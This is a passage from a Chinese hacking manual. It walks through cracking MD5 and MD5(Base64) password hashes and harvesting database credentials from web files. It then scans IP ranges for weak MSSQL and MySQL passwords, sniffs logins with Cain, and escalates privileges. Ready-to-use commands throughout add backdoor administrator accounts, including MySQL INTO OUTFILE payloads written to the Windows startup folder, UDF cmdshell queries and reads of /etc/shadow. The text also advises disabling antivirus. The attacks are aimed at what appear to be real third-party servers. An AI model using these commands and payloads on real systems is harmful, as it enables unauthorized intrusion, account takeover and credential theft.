（3）如果进行自定义破解，建议先选择数字字典，然后依次选择数字、大小写字母、特殊字符的组合字典。破解时应先易后难，否则会造成破解时间过长的问题。

（4）在MD5Crack 4中，可以使用插件进行破解。

（5）在MD5Crack 4中，可以设置软件显示的语言版本，有中文简体和英语两个版本，单击主界面中的“Options”（设置）按钮即可进行设置，如图3-38所示。

图3-38 设置MD5Crack 4

3.4.6 一次破解多个密码

将需要破解的MD5密码全部存储到一个TXT文件中，每个密码独立占一行，然后，在MD5Crack 4中单击选中“破解多个密文”单选按钮，选择刚才编辑的MD5密码文件，如图3-39所示，选择一种破解方式，本例选择使用数字字典进行破解，最后单击“开始”按钮开始破解。

图3-39 破解多个MD5密码值

在MD5Crack 4右下方会显示破解结果，单击“日志”标签页可以查看MD5值校验等日志信息，单击“结果”标签页可以查看破解的结果。如图3-40所示，在列出的结果中，会将MD5值与原始密码一一对应。

图3-40 破解结果

本节介绍了使用MD5Crack及通过网站对MD5值进行破解的方法。破解MD5值时，可以先在一些MD5破解网站进行破解，如果未能破解，则可以在本地用MD5Crack进行破解。

3.4.7 MD5变异加密的破解

网站采用MD5变异加密，即“ password=md5(jiami(str))”，jiami(str)定义如下。

<%
function jiami(str)
mima="*#$A.J>?;&amp;%*&amp;$C#%!@#JH+-\)(HNKNDKJNKJDWNY*Y@H&amp;A^BHJHJXNXMAX5454ADD
EFW45485121WDQWD21DD5DWQ15QD1"
for i=1 to len(str)
newstr=newstr&amp;Mid(str,i,1)
if i>len(mima) then
newstr=newstr&amp;Mid(mima,i-len(mima),1)
else
newstr=newstr&amp;Mid(mima,i,1)
end if
next
jiami=newstr
end function
%>

原始密码的加密原理为：假如初始密码为“123456”，先通过jiami函数对初始密码进行长度判断，获知长度为6，依次取1位，然后插入自定义的加密字符串，加密后密码变为“1#2$3A4.5J6>”。接着，对字符串“1#2$3A4.5J6>”进行MD5加密。普通的6位密码通过jiami算法重新加密后，将变为12位密码，通常的MD5暴力破解基本无法破解这样的密码。

了解该加密方式后，我们就可以针对该加密方式编写一段代码，将密码字典依次间隔插入“*#$A.J>?;&%*&$C#%!@#JH+-\)(HNKNDKJNKJDWNY*Y@H&A^BHJHJXNXMAX 5454ADDEFW45485121WDQWD21DD5DWQ15QD1”字符串，然后进行密码比对，如果在加密表中找到相同的MD5值，即为破解。

除了以上方法外，还有两个方法可用于该密码的破解。第一个方法是在该服务器网络内部或者相邻网络中安装Cain等工具以嗅探HTTP包，通过捕获原始包，有可能获得原始密码。第二个方法是在该网站插入记录用户登录密码、用户名的代码，并将每次用户登录的用户名和密码添加到指定的文件中，通过查看该文件即可获得登录密码。

3.5 MD5（Base64）加密与解密

在对某个CMS系统进行安全检测时，可以通过注入点获取其管理员表中的管理员用户名和密码数据，但由于不知道该密码数据采用何种加密方式，所以，虽然知道CMS系统管理的后台，但苦于没有破解管理员的密码而无法登录系统。笔者通过研究终于掌握了MD5（Base64）加密原理和解密原理，因此才有本节内容。

Base64是网络上最常见的用于传输8bit字节代码的编码方式之一，在发送电子邮件时，服务器认证的用户名和密码需要使用Base64编码，附件也需要使用Base64编码。Base64要求把每3个8bit的字节转换为4个6bit的字节（3×8 = 4×6 = 24），然后把6bit再添2位高位0，组成4个8bit的字节，也就是说，转换后的字符串理论上将比原来的字符串长1/3。

“MD5”的全称是“Message-Digest Algorithm 5”（信息-摘要算法），在20世纪90年代初由Mit Laboratory For Computer Science和Rsa Data Security Inc的Ronald L. Rivest开发，经MD2、MD3和MD4发展而来。它的作用是让大容量信息在用数字签名软件签署私人密钥前被“压缩”成一种保密的格式（就是把一个任意长度的字节串变换成一个定长的大整数）。

3.5.1 MD5（Base64）密码简介

MD5（Base64）加密后的字符串长度为24位，最末尾有2个“=”符号，字符串中数字和字母混写，这种加密方式在ASP.NET等CMS环境中经常碰到。如图3-41所示为3个用户及其加密后的密码字符串。

图3-41 MD5（Base64）密码

3.5.2 在网上寻找破解之路

直接在Google上对“md5（dbase64）加解密”进行搜索，如图3-42所示，从搜索结果来看，除了求助外，很难在网上找到MD5（dBase64）的加密和解密方法。

图3-42 Google搜索结果

3.5.3 寻求解密方法

下面我们来寻找解密MD5（Base64）密码的方法。

01 生成Hash值

InsidePro网站提供了在线Hash破解（http://hash.insidepro.com/）和在线生成各种Hash值的功能，在线生成Hash值的网址为http://www.insidepro.com/hashes.php?lang=eng，如图3-43所示。在“Password”文本框中输入“author”，单击“Generate”按钮，可直接生成各种Hash值。

图3-43 生成各种Hash值

02 比对Hash值和加密密码值

在生成Hash值后的http://www.insidepro.com/hashes.php?lang=eng页面上拖动滚动条，一一对照。通过比对发现，在Base64加密中有一个明显的特征，即加密字符串最后面一般都有等号。从中截取部分author的加密值如下。

Haval128(Base64):1xehfrgfAcMYLCdLcYiDlg==
Haval160(Base64):JPfaQRoHY0v/EJnXN9iKd9MfdbE=
MD2(Base64):d+K74ta9Vhbr4yuKzfCAZQ==
MD4(Base64):QPRz/CVV3O9EVOA/iCaOwA==
MD5(Base64):Ar2S+qOKqmzA6nXlmTeh7w==

“MD5(Base64):Ar2S+qOKqmzA6nXlmTeh7w==”与图3-41中的加密值一致。如图3-44所示，验证了该加密方式就是MD5（Base64）加密。

图3-44 找到加密方式

03 添加Hash值

从http://www.insidepro.com/eng/passwordspro.shtml页面上了解到，PasswordsPro可以破解MD5（Base64）加密方式。PasswordsPro是一款付费软件。

运行PasswordsPro 2.5.3.0，单击右键，在弹出的快捷菜单中选择“Add”选项，如图3-45所示，添加一个Hash值进行破解。在“Hash”文本框中输入“MD5(Base64):Ar2S+ qOKqmzA6nXlmTeh7w==”，然后单击“Add”按钮。

图3-45 添加要破解的Hash值

04 执行暴力破解

如图3-46所示，单击三角形按钮，运行破解程序，选择暴力破解方式。

图3-46 暴力破解MD5（Base64）密码

在PasswordsPro 2.5.3.0中还有其他破解方式，包括“Preliminary Attack”、“Mask Attack”、“Simple Dictionary Attack”、“Combined Dictionary Attack”、“Hybrid Dictionary Attack”和“Rainbow Attack”6种破解方式，如图4-47所示。

05 破解成功

暴力破解方式太耗费时间，故选择了“Simple Dictionary Attack”（简单字典攻击）方式。由于密码在字典中，所以很快就破解出来了，如图3-48所示。

图3-47 多种破解方式

图3-48 使用字典成功破解

值得一提的是，InsidePro官方网站提供了74个字典文件，感兴趣的读者可以自行下载。在实际应用中，这些字典仍然不够，有些密码设置得往往超乎想象的复杂，除非有完整的彩虹表，否则暴力破解和字典破解的时间将非常漫长。

3.5.4 探寻MD5（Base64）的其他破解方式

除了通过PasswordsPro破解，还有一些方式或许能够破解MD5（Base64）密码，下面我们一起讨论一下。

01 进行Base64解码

网上有很多工具可以对Base64编码进行解码，其中一款是可以在Linux和Windows下运行的Base64工具，下载地址为http://www.fourmilab.ch/webtools/base64/，下载后可以直接运行，命令为“base64 -decode base64.b64 base64.tmp”，参数“-decode”或“-d”表示解码，“-encode”或“-e”表示Base64编码。

base64.b64是Base64编码后的文件，base64.tmp是解码后生成的文件。在该工具目录下，还有一个BAT文件用于批处理解码，如图3-49和图3-50所示。

图3-49 Base64解码工具

图3-50 执行解码批处理文件

02 编辑解码文件

将MD5（Base64）加密后的密码值“Ar2S+qOKqmzA6nXlmTeh7w==”复制到base64.b64文件中，编辑解码文件的情形如图3-51所示。

图3-51 编辑解码文件

03 查看解码后的文件

使用UltraEdit-32编辑器打开base64.tmp，如图3-52所示，该文件显示为乱码。这一点笔者也很奇怪，后面通过其他一些Base64解码工具进行解码，其正常显示结果仍为乱码。

图3-52 查看解码后的文件

04 获取Base64解码后的MD5值

在UltraEdit-32编辑器中，直接以二进制方式打开解码后的文件base64.tmp，如图3-53所示，将其中的二进制编码进行整理，其结果为“02BD92FAA38AAA6CC0EA 75E59937A1EF”，共32位，这与MD5加密后的值有些相似。

图3-53 获取二进制的值

将这个值复制到www.cmd5.com网站进行解密，如图3-54所示，结果显示为“author”。

图3-54 MD5解密

3.5.5 MD5（Base64）原理

在线生成Hash值，然后按照3.5.4节中的步骤重新测试，结果与之测试吻合，由此我们可以推测出MD5（Base64）的加解密原理。

1.MD5（Base64）加密原理

MD5（Base64）加密，首先对字符串进行MD5加密，即MD5(string)，然后对MD5加密后的字符串进行Base64编码。

2.MD5（Base64）解密原理

MD5（Base64）解密，先对MD5（Base64）进行Base64解码，再对Base64解码后的值通过二进制方式进行读取，结果应为32位字符串，最后对获取的32位字符串进行MD5解密。

3.5.6 小结

在信息安全领域，只有想不到的，没有做不到的，只要努力、坚持和不断尝试，终究会有收获。通过对MD5（Base64）加密和解密原理的研究，我们成功获取了该CMS系统的WebShell，如图3-55所示。网络攻防最终是技术的对抗！

图3-55 成功获取该系统的WebShell

3.6 通过网页文件获取数据库账号和口令

动态网页的显著特点之一就是与数据库的交互，只要涉及大型数据库，动态网页调用其数据库时一般都需要数据库账号和密码。这些大型数据库主要以SQL Server和Oracle为代表。Access数据库一般不设置密码，即使设置了密码，也可以使用Access密码查看器获取其密码。网站或者信息系统在调用数据库时需要进行连接，考虑到执行效率和编码效率等原因，一般都将数据库连接等单独写成一个模块，这些文件主要用来连接数据库。在这些文件中会包含数据库服务器的IP地址、数据库类型、数据库用户账号和密码等信息。

控制或者获取一个Shell后，通过查看index.asp、index.php及index.jsp等文件，从中获取数据库连接文件。数据库连接文件的名称比较容易识别，如conn.asp、dbconn.asp等，这些文件可能出现在网站根目录、inc文件夹、includes文件等处。通过查看这些网页文件，可以获取数据库IP地址、数据库用户账号及口令，利用获取的信息可以进行计算机渗透、提权甚至实施完全控制。

3.6.1 确认网站脚本类型

主要通过打开网站并访问其网站中的网页来确认网站脚本类型。在本例中，打开IE浏览器，在其地址栏中输入IP地址“61.*.*.*”，打开网站，如图3-56所示。在浏览器状态栏中可以看到详细的地址和文件显示，本例为“http://*.*.*.*/shi.asp”，说明该网站的脚本类型为ASP。

图3-56 获取网站脚本类型

技巧

（1）可以直接通过在浏览器地址栏输入“http://*.*.*.*/index.asp”、“http:// *.*.*.*/index.php”、“http://*.*.*.*/index.jsp”等判断网站的类型，规则是“IP地址+文件名”，文件名可以是index.asp（jsp/php/aspx），也可以是default.asp（jsp/php/aspx）等。

（2）如果打开网页后还是无法确定该网站的类型，则可以通过单击网站中的链接地址来确定。如果打开的网页后缀为 .asp，则网站脚本类型为ASP，其他脚本类型判断原理相同。

（3）打开“Internet信息服务（IIS）管理器”窗口，单击“网站属性”中的“文档”选项，可以获取该网站的默认文档名称。

3.6.2 获取网站目录位置

利用漏洞攻击的方法获取该系统的用户账号和口令后，可以通过Radmin远程控制软件直接进行完全控制。进入系统后，在桌面发现了“Internet信息服务”快捷键，双击该快捷键打开“Internet信息服务（IIS）管理器”窗口，依次展开目录至网站，选中“web”网站文件夹，单击右键，在弹出的快捷菜单中选择“属性”选项，打开Web属性窗口，如图3-57所示。然后，切换到“主目录”标签页获取其网站根目录“D:\*”。

图3-57 获取网站根目录位置

说明

在本案例中，操作系统为Windows 2003 Server，因此其Web目录与Windows 2000 Server不同，但操作大致相同。打开IIS管理器后，查找网站目录并展开即可获知网站的具体位置。

3.6.3 查看网页脚本并获取数据库连接文件

在3.6.2节我们获取了网站文件的物理路径。通过资源管理器访问网站根目录，然后使用“记事本”程序打开首页文件index.asp，如图3-58所示，从中可以获取网站数据库连接文件，这个文件极有可能是 i_include/database_.asp。

图3-58 查看网站首页文件

3.6.4 获取数据库用户账号和密码等信息

在网站根目录中打开i_include文件夹，在其中找到database_.asp文件。使用“记事本”程序打开该文件，其脚本如图3-59所示。通过该脚本内容可知，数据库类型为SQL Server，数据库服务器地址为本地（Local），用户为“sa”，密码为“111”，数据库为“j***”。通过该文件中的“conn.DefaultDatabase="job_demo21_data_new"”语句还可以知道，该系统极有可能来自网上。

图3-59 获取数据库的用户及密码等信息

3.6.5 实施控制

在本案例中，如果数据库不是本地数据库，则可以通过注册SQL Server或者直接使用SQLTools连接，进行添加用户和密码、执行命令等操作。

3.6.6 防范措施

一种防范措施是通过VB等编程语言将数据库连接模块写成dll，使用时在系统中注册即可。不过，对托管在虚拟主机上的个人网站来说，注册dll比较麻烦。

另一种防范措施是使用微软自带的SCRENC软件进行加密。

3.6.7 小结

本案例利用漏洞攻击获取了系统的用户和密码，通过系统中的原有远程控制软件，轻松得到了数据库账号和密码等信息。

3.7 SQL Server 2000口令扫描

SQL Server 2000数据库一般都是安装在Server操作系统中。在网络入侵过程中，对数据库的攻击也是典型的攻击手段之一，加之目前市面上很多安全检测和入侵软件均具有数据库口令扫描功能，所以一旦获取数据库中sa用户的口令，入侵者就可以执行添加用户等危险命令，数据库很容易被入侵者完全控制。常见的数据库攻击主要有以下几种。

（1）通过互联网直接连接进行攻击

数据库要想正常使用，必须开放1433（1434）或者指定端口。这些端口在互联网上都可以探测到。如果没有对IP地址进行限制，则在互联网上的任何用户都可以访问这台服务器的1433端口，SQL Slammer蠕虫就是针对SQL服务器的漏洞实施攻击的。这些直接的攻击能够导致拒绝服务攻击、缓冲溢出和其他攻击。

（2）安全漏洞扫描

安全漏洞扫描通常是指针对操作系统、网络应用程序或者数据库系统本身的弱点进行扫描。攻击者在安全扫描过程中可以很轻松地发现没有使用SQL安全补丁、互联网信息服务（IIS）设置弱点及SNMP（简单网络管理协议）等漏洞并实施攻击，从而攻破数据库。入侵者在攻击过程中可能使用公开的工具，也可能使用专用工具，还可能利用一些大型公司提供的安全扫描程序，如Qualys的普通扫描工具QualysGuard、SPI Dynamics的网络应用程序扫描工具WebInspect等。

（3）列举SQL服务器解析服务攻击

Chip Andrews的SQLPing v2.5可用来查看SQL服务器系统、数据库实例及确定版本编号等。当长时间的SQL服务器请求发送到UDP端口1434的广播地址时，会出现缓冲溢出问题。

（4）破解sa口令

攻击者可以通过破解sa口令的方法进入SQL服务器数据库。Application安全公司的AppDetective和NGS软件公司的NGSSQLCrack等商业性工具软件都有破解sa口令的功能，还有一些扫描工具软件也可以很好地破解sa口令。在下面的案例中，我们会着重介绍如何扫描sa口令并实施完全控制。

（5）直接利用安全漏洞攻击

可以利用Metasploit等工具软件直接实施攻击。Metasploit利用在正常的安全漏洞扫描过程中发现的安全漏洞实施攻击，这种攻击手段非常有效，攻击者还可利用这种手段突破系统、进行代码注入或者取得未经授权的命令行访问权限。

（6）SQL注入攻击

SQL注入攻击是目前网络上最为流行的一种攻击方式，主要通过构建SQL语言脚本实施攻击。目前网上有很多流行的SQL注入攻击工具，如“教主”的HDSI 3.0、“明小子”的Domain 3.5等。利用这些工具实施攻击，操作很简单。

（7）Google hacks

Google hacks利用Google搜索引擎不同寻常的力量搜索出可公开访问的系统泄露的SQL服务器错误，如“Incorrect syntax near”，黑客能够使用Google找到口令、网络服务器中的安全漏洞、基本的操作系统、公开提供的程序及其他能够用来攻破SQL服务器系统的东西。

（8）熟读网站源代码，寻找0day漏洞

目前，很多网站的BBS、Blog、文章系统、内容管理系统都是使用公开发行的版本，通过阅读这些公开程序的源代码，研究和分析系统代码中存在的问题（这些问题极有可能是0day漏洞），找到问题以后就可以利用并实施攻击和控制。

3.7.1 设置Hscan

运行Hscan，分别设置一个扫描IP段的起始地址和结束地址，然后在扫描模块中只选中“check MSSQL weak accounts”选项，如图3-60所示。设置完毕，在菜单中单击“start”命令进行扫描。

图3-60 设置扫描MSSQL弱口令模块

3.7.2 查看扫描结果

在Hscan扫描中有3个地方存放了扫描结果：第1个是Reports文件夹下的html文件；第2个是log文件夹下的Hscan.log；第3个是HScan扫描窗口左下方区域，该区域中显示了IP地址、用户名称（username）、口令（password）及类型（type），如图3-61所示。

图3-61 Hscan扫描结果

说明

（1）Hscan.log文件在每次扫描时对内容完全进行覆盖，不保留以前的扫描记录，因此，每次扫描结束后，必须更改文件名或者另存为其他文件。

（2）关闭Hscangui程序后，HScan扫描区域左下方的扫描结果会被自动清除。

3.7.3 连接数据库

选中类型为“MSSQL”的记录，在扫描结果区域单击左键，选择“connect”命令直接连接数据库，连接成功以后如图3-62所示。

图3-62 连接MSSQL数据库

注意

在选择记录时一定要小心，右键是清除记录命令（Clean），左键是连接命令（Connect），清除扫描结果以后不能恢复。

3.7.4 执行命令

在SQLCMD提示符下分别输入命令“net user”、“net user aspnet aspnet****”、“net localgroup administrators aspnet /add”，查看并添加“aspnet”用户，口令为“aspnet****”，提升“aspnet”用户的权限到Administrators组中，如图3-63所示。

图3-63 执行命令

说明

（1）由于这种弱口令的MSSQL服务器极有可能有多个入侵者进行了扫描，入侵者在入侵成功后会将一些存储过程删除，导致SQLCMD能够连接却不能执行命令。这个时候，可以通过SQL查询分析器连接该数据库，连接成功后即可查看数据服务器中的数据库，将数据库中表的内容（如user表等）配合Web实施控制。数据库中的一些表包含用户名称和密码等信息。

（2）通过“net localgroup administrators”命令可以查看刚才添加的具有管理员权限的用户aspnet。在本例中可以看到有多个管理员用户，说明该计算机已经被入侵，如图3-64所示。

图3-64 查看所有管理员用户

3.7.5 执行其他控制命令

在DOS命令提示符界面输入“psexec \\218.*.*.212 cmd -u aspnet -paspnet2005”，找出一个DOSShell，可以在该Shell中上传木马程序、开启3389远程终端服务等。

3.7.6 小结

本案例主要通过扫描MSSQL弱口令实施攻击。一旦扫描出MSSQL的弱口令，则很容易通过Hscan的SQLCMD连接工具进行连接。连接成功后，如果与在DOS下的操作命令相同，就相当于一个DOS下的Shell，可以执行各种命令。

3.8 MySQL口令扫描

MySQL作为一款免费数据库，如今在网络上已被广泛使用。由于在MySQL数据库中不能执行命令，所以，MySQL数据库在攻击难度上高于MSSQL数据库。研究表明，有3种思路可以对MySQL进行攻击，攻击的前提条件是已经获得了MySQL的用户名和密码。

创建表，并在表中插入VBS脚本，通过导出表命令将VBS脚本导出到程序启动列表，当计算机重启时便会执行VBS脚本。

查看数据库表中的内容。目前使用MySQL数据库的服务器一般与Web服务器结合得比较紧密，通过查看MySQL数据库中有关用户及密码信息的表，特别是含有管理员信息的表，结合WebShell等，就可以实施控制。

利用MySQL应用程序漏洞进行攻击，查看MySQL的版本并利用MySQL溢出等程序对服务器进行溢出攻击。

本例主要介绍以上第一种和第二种情况，其他情况读者可以自行尝试。

3.8.1 设置Hscan

图3-65 设置MySQL扫描参数

设置扫描的起始IP地址和结束IP地址，在扫描模块中选择“check MySQL weak account”选项，如图3-65所示。设置完毕，在“menu”菜单中选择“start”选项，开始扫描MySQL弱口令。

3.8.2 查看扫描结果

扫描结束后，在Hscan左下方区域会显示详细的扫描结果，如图3-66所示。

图3-66 MySQL扫描结果

3.8.3 连接并查看数据库服务器中的数据库

选择一条扫描记录，然后单击“connect”命令，连接MySQL数据库。在MySQL数据库中，所有的命令都是在DOS提示符下运行的。连接成功后会出现MySQL的提示符，在其中输入“show databases;”命令查看数据库服务器中的数据库，如图3-67所示。

图3-67 连接并查看MySQL数据库服务器中的数据库

说明

（1）MySQL数据库开放的端口是3306，如果不使用HScan软件直接进行连接，可以使用MySQL数据库连接命令进行连接。

（2）在MySQL中，执行命令时需要在每一个语句后面加上“;”才能使命令成功运行。

（3）在MySQL中有一些常用命令。“show databases;”命令用于查看数据库服务器中的数据库，“show tables;”命令用于查看当前数据库中的表，“use databasename;”命令表示数据库名称为“databasename”的数据库为当前数据库。

（4）在对被入侵服务器的MySQL发动攻击前，要扫描被入侵服务器的端口开放情况，以便后期控制。一般选择开放23、4899、3389端口的服务器。

3.8.4 创建表并将VBS脚本插入表

依次运行以下命令，完成后如图3-68所示。

show databases;

use test;

show tables;

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnet aspnettest/add"",0)");

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );

select * from a;

图3-68 创建表并将VBS脚本插入表

3.8.5 将VBS脚本导出到启动选项中

使用以下命令将刚才在a表中创建的VBS脚本导出到启动选项中。

select * from a into outfile "C:\\Documents and Settings\\All Users\\「开
始」菜单\\程序\\启动\\a.vbs";

导入成功后，系统重新启动时会自动添加密码为“1”且用户名为“1”的用户到管理员组中。在实际使用过程中，该脚本成功执行的几率比较低，有时会出现不能导出的错误，如图3-69所示。

图3-69 导出脚本错误

推荐使用以下脚本。

show databases ;
use test;
show tables;
create table b (cmd text);
insert into b values ("net user Aspnet 123545345!* /add");
insert into b values ("net localgroup administrators Aspnet /add");
insert into b values ("del b.bat");
select * from b into outfile "C:\\Documents and Settings\\All Users\\「开
始」菜单\\程序\\启动\\b.bat";

该脚本执行后会闪现DOS窗口，如果有权限导入启动选项中，则一定会执行成功。在虚拟机中通过MySQL连接器连接并执行以上命令后，在“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录中会有刚才导出的b.bat脚本文件，如图3-70所示。

图3-70 导出bat脚本到启动选项

说明

在不同的操作系统中，“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录文件名称可能会不同，这个时候将其换成相应的目录名称即可。如果是英文版本的操作系统，则其插入的代码如下。

select * from b into outfile "C:\\Documents and Settings\\All Users\\Start
Menu\\Programs\\Startup\\b.bat";

3.8.6 等待重启和实施控制

如果该计算机开放了3389端口，可以直接进行连接；如果将b.bat换成其他bat命令，可以执行其他命令来实施控制。

说明

（1）拥有MySQL的用户名称和口令后，可以通过查看数据库中的信息对MySQL数据库服务器实施控制。在本例中，通过查看数据库、表及表中的内容获取了管理员的密码和名称，如图3-71所示。

图3-71 查看表中的信息

（2）在MySQL数据库中一般会存在多个数据库。通过“show databases;”、“show tablesname;”、“select * from tablesname;”等命令可以获取表中的具体内容，而通过查看其中的内容可以进行Web服务器域名信息及一些网站管理员的密码和用户名称的定位。在本例中，通过查看其他的数据库，还获取了大量的用户信息，其中包含管理员的手机号码等，如图3-72所示。

图3-72 获取额外信息

3.8.7 小结

本例通过HScan扫描MySQL口令，扫描出口令以后，借助HScan的MySQL连接功能直接连接MySQL，通过创建表将VBS脚本插入表中，然后再导出到系统的启动目录下，系统重新启动以后，会自动添加用户，进而通过远程终端3389连接该MySQL服务器所在的计算机，成功实施控制。

3.9 巧用Cain监听网络获取数据库口令

Cain是一款强大的网络嗅探工具，在网络渗透方面具有优势，尤其是Sniffer。Cain主要用于Windows平台的嗅探。Cain在嗅探FTP、POP3、网站登录密码、Telnet及数据库密码等方面有很大的优势。早期版本的Cain还能嗅探远程终端的密码，通过分析RDP协议数据直接获取远程终端的密码，后来由于远程终端采取了一些安全措施，所以使用Cain嗅探获取的RDP包数据就是加密的了。由于Cain的强大嗅探功能，目前很多杀毒软件都将其列为危险软件，并对其进行查杀。因此，在直接安装或者采用简略版安装Cain时，要注意系统使用的杀毒软件，在必要时可以先关闭杀毒软件，在完成嗅探后重新开启杀毒软件。

本节介绍Cain在网络监听方面的应用，以及如何制作非安装版的Cain。

3.9.1 安装和配置Cain

图3-73 配置Cain

Cain的安装比较简单，按照提示完成即可。安装Cain后，需要安装WinpCap抓包软件，Cain才能正常使用。

运行Cain软件，选择网卡进行配置。Cain运行后会自动将计算机中的网卡IP地址、子网掩码等显示出来。在“Sniffer”选项卡中选中“Options”设置区的所有选项，如图3-73所示，其他保留默认设置即可。配置完毕，在Cain主界面的左下角中单击圆形图标，开始监听。

3.9.2 查看Sniffer结果

在Cain主界面依次选择“sniffer”→“password”选项，然后在右边的“Passwords”列表中选择括号中数字大于0的选项。括号中的数字表示Cain监听到的有关密码数据的条数。选中某个条目，在右边区域会显示监听的详细结果。

选择“SMB（2）”，如图3-74所示，可以看到相应记录的“Timestamp”（时间戳）、“SMB Server”、“Client”、“Username”、“Domain”、“Password”、“AuthType”等信息。由于其监听的密码为空，所以计算机的IP地址为192.168.1.60，Administrator用户的“Password”栏中没有数据。

图3-74 SMB监听结果

3.9.3 直接获取系统中有关保护存储的账号和密码

在Cain中选择“Protected Storage”选项卡，可以看到保存在系统中的有关网站的用户名和密码，如图3-75所示，获取这些信息后可以直接登录网站并进行相应的操作。

图3-75 获取存储在系统中的密码

3.9.4 查看数据库密码

在本案例中，由于存在SQL Server数据库，因此当客户端连接SQL Server数据库服务器时，其用户名和密码均可以通过Cain截获。如图3-76所示，SQL Server客户端的地址为192.168.1.61，使用数据库账号“sa”、密码“JJF***2000”连接IP地址为192.168.1.60的SQL Server数据库服务器。

图3-76 查看截获的SQL Server数据库账号和密码

3.9.5 小结

本案例通过安装和配置Cain对内网进行监听和嗅探，在嗅探过程中获取了SMB密码和SQL Server数据库的账号和密码。可以使用Psexec.exe和SQLTools等工具对获取了账号和密码的计算机实施控制。

3.10 MySQL数据库提权

MySQL数据库是目前使用最多的数据库之一，其流行的架构为PHP+MySQL+ Apache，支持Linux和Windows操作系统。在Web渗透过程中，通过WebShell有可能获得MySQL的安装目录，通过下载MySQL数据库的user.myd表，能够方便地破解root用户的密码。root用户的密码还可能从网页脚本文件中获得。以root用户的身份可以直接登录数据库。在获得root用户的密码后，通过导出udf.dll函数，在条件合适的情况下，可以获得服务器权限。

下面以一个实例来介绍如何通过MySQL的root用户进行提权。

3.10.1 设置MySQL提权脚本文件

将MySQL提权脚本文件上传到服务器，运行后需要对IP地址、UID、密码、数据库进行配置。如图3-77所示，IP地址一般可以设置为localhost、127.0.0.1及真实的IP地址，UID默认为root，其他具有root用户权限的用户名称也可以使用，密码为具有root权限的用户的密码，数据库默认选择MySQL数据库，单击“提交查询内容”按钮进行连接测试。

图3-77 设置MySQL提权脚本文件

3.10.2 进行连接测试

连接成功后，会给出相应的提示，如图3-78所示，包括用户、数据库、数据目录（datadir）、基本目录（basedir）、版本、插件路径、MySQL函数等信息。

图3-78 连接测试

3.10.3 创建shell函数

单击“Dump UDF”按钮将UDF.DLL文件导出到默认的插件目录下，单击“Create Function”按钮创建shell函数。如图3-79所示，如果前面已经创建了shell函数，会提示该函数已经存在。

图3-79 创建shell函数

3.10.4 查看用户

在查询文本框中输入“select shell('cmd','net user')”，查看系统中所有的用户。如图3-80所示，可以正常查看系统中的所有用户信息。

图3-80 查看用户

3.10.5 创建具有管理员权限的用户

分别在查询文本框中输入脚本“select shell('cmd','net user temp temp123456')”、“select shell('cmd', 'net localgroup administrators temp /add ')”并执行该查询命令，如果执行成功，则表示在系统中添加用户“temp”，密码为“temp123456”，同时将该用户添加到管理员组中，使其具备管理员权限，执行成功后如图3-81和图3-82所示。

图3-81 添加temp用户

图3-82 将temp用户添加到管理员组

3.10.6 提权成功

图3-83 查看管理员用户

在SQL查询文本框中输入“select shell('cmd','net localgroup administrators')”命令查看刚才添加的用户是否添加成功，如图3-83所示，查询结果表明已经将temp用户添加到管理员组中。

目前很多网站都会提供远程终端服务，只要用户添加成功，就可以直接登录该服务器。如图3-84所示，输入用户名和密码，成功进入该服务器，至此，就通过MySQL的root用户成功提权。

图3-84 成功进入服务器

3.10.7 小结

通过本例中的方法可以快速将WebShell权限提升到服务器权限。当然，还有其他方法可以通过MySQL提权。下面对经常用到的一些有关MySQL的提权命令和方法进行总结。

1.UDF提权的常用命令

UDF提权的常用命令如下。

create function cmdshell returns string soname 'udf.dll'

select cmdshell('net user antian365 123!@#abcABC /add');

select cmdshell('net localgroup administrators antian365 /add');

select cmdshell('net localgroup administrators ');

select cmdshell('ipconfig /all');

select cmdshell('net user');

select cmdshell('regedit /s d:\wwwroot\3389.reg');

drop function cmdshell;

select cmdshell('netstat -an');

2.VBS启动项提权

先通过WebShell连接数据库，通过建立表a将VBS脚本写入表中，然后导入启动项。该脚本仅对中文版本有效，如果使用其他语言版本的操作系统，仅需对“C:\\ Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs”这个脚本进行相应更改。在VBS脚本后面有一个“0”，表示不弹出CMD窗口，以静默模式运行。该方法是在通过UDF提权失败的情况下，将VBS插入启动项中，待系统重启后将自动添加一个用户，示例如下。

create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user antian 123!@#$%
/add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup
administrators antian /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开
始」菜单\\程序\\启动\\a.vbs";

3.Linux下的MySQL提权

Linux下的MySQL提权命令如下。

mysql -h localhost -uroot -p
system useradd hacker
system passwd hacker
system tail -l /etc/passwd
system tail -l /etc/shadow

3.11 SQL Server数据库的还原

数据库是企业信息的核心地带，一旦出现事故，其影响是巨大的。尤其是在网络高度发达的今天，只要企业的数据库出现问题，网上马上就会出现一些“爆料”——不管是玩笑还是恶意，总之，数据库的安全不容小视。虽然维护数据库的安全是DBA或者安全管理人员的职责，但普通技术人员也应该了解相关内容，毕竟多掌握一门技能，就多一份成功的希望和保证。

本节将就在SQL Server中如何还原数据库进行详细的介绍，并针对恢复和还原数据库时经常出现的问题给出解决方案。

3.11.1 SQL Server 2005的新特性

SQL Server 2005与SQL Server 2000有很大的不同，在界面和功能上，SQL Server 2005都有很大的改进。SQL Server 2005新增了以下9项重要功能。

（1）Notification Services增强功能

Notification Services是一种新平台，是用于生成、发送并接收通知的高伸缩性应用程序，可以把即时的、个性化的消息发送给使用各种各样设备上的数以千计乃至百万计的订阅方。

（2）Reporting Services增强功能

Reporting Services是一种基于服务器的新型报表平台，它支持报表创作、分发、管理和最终用户访问。

（3）新增的Service Broker

Service Broker是一种新技术，用于生成安全、可靠和可伸缩的数据库密集型应用程序。Service Broker提供应用程序，用以传递请求和响应的消息队列。

（4）数据库引擎增强功能

数据库引擎引入了新的可编程性增强功能（例如，与Microsoft .NET Framework的集成，以及Transact-SQL的增强功能）、新的XML功能和新的数据类型，还包括对数据库的可伸缩性和可用性的改进。

（5）数据访问接口方面的增强功能

SQL Server 2005提供了Microsoft数据访问（MDAC）和.NET Frameworks SQL客户端程序方面的改进，为数据库应用程序开发人员提供了更好的易用性、更强的控制和更高的工作效率。

